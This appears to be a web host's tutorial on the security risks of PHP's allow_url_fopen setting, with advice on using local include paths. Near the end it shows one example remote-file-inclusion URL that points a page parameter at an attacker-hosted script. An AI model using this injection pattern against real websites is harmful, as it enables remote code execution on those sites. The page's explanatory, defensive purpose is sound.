Security Issues with allow_url_fopen

This tutorial will discuss the security issues with allow_url_fopen in PHP

The PHP option allow_url_fopen would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. For security reasons, FASTDOT has disabled this feature; however, a feature-rich alternative exists in the form of the bundled cURL library.

Server-Side Includes

Many developers include files by pointing to a remote URL, even if the file is within the local system. For example:

<?php include(“http://example.com/includes/example_include.php”); ?>

With allow_url_fopen disabled, this method will not work. Instead, the file must be included with a local path, and there are three methods of doing this:

  1. By using a relative path, such as ../includes/example_include.php.
  2. By using an absolute path (also known as relative-from-root), such as /home/username/example.com/includes/example_include.php.
  3. By using the PHP environment variable $_SERVER['DOCUMENT_ROOT'], which returns the absolute path to the web root directory. This is by far the best (and most portable) solution. The example that follows shows the environment variable in action:

Processing Differences (and passing variables to an included file) with allow_url_fopen

It is worth mentioning that the alternative solutions presented here will result in a difference in the way the include() function is handled. The alternative solutions all return the PHP code from the included page; however, the now-unavailable remote URL method returns the result from the included page. One result of this behavior is that you cannot pass a querystring using the alternative solutions. You define the variables locally before performing the include:

Example

To achieve the effect of this:

<?php include("http://yourdomain.com/includes/example_include.php?var=example"); ?>

You must instead use this:

<?php $var = "example"; include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>

Example exploitation

If allow_url_fopen is enabled, this system can be exploited by simply changing the value of the variable in the querystring:

http://yourdomain.com/index.php?page=http://crackerscum.net/evilscript.txt

To avoid potential compromise of our customer websites, the PHP variable allow_url_fopen =off is enabled on all servers

OpenCart Hosting

 

Previous Post
The Basics of a Trojan Virus
Next Post
What is SEO?

Get Online Today!

  

Your perfect domain name is waiting!

Search our huge portfolio for more domain name extensions and pricing below
domain name extensions

Classic Domain Names

.COM | .AU | .CO | .NET | .BIZ | .ME | .EU | .ASIA | .TV | .MOBI | .NAME | .INFO | .ORG | .US | .NL| .FM | .HK | .ES | .CO.NZ | .DE | .CO.UK | .RU | .IM | .PM | .TW | .FR | .CN | .CA | .CH | .VN | .PL | .IL | .JP | .KR |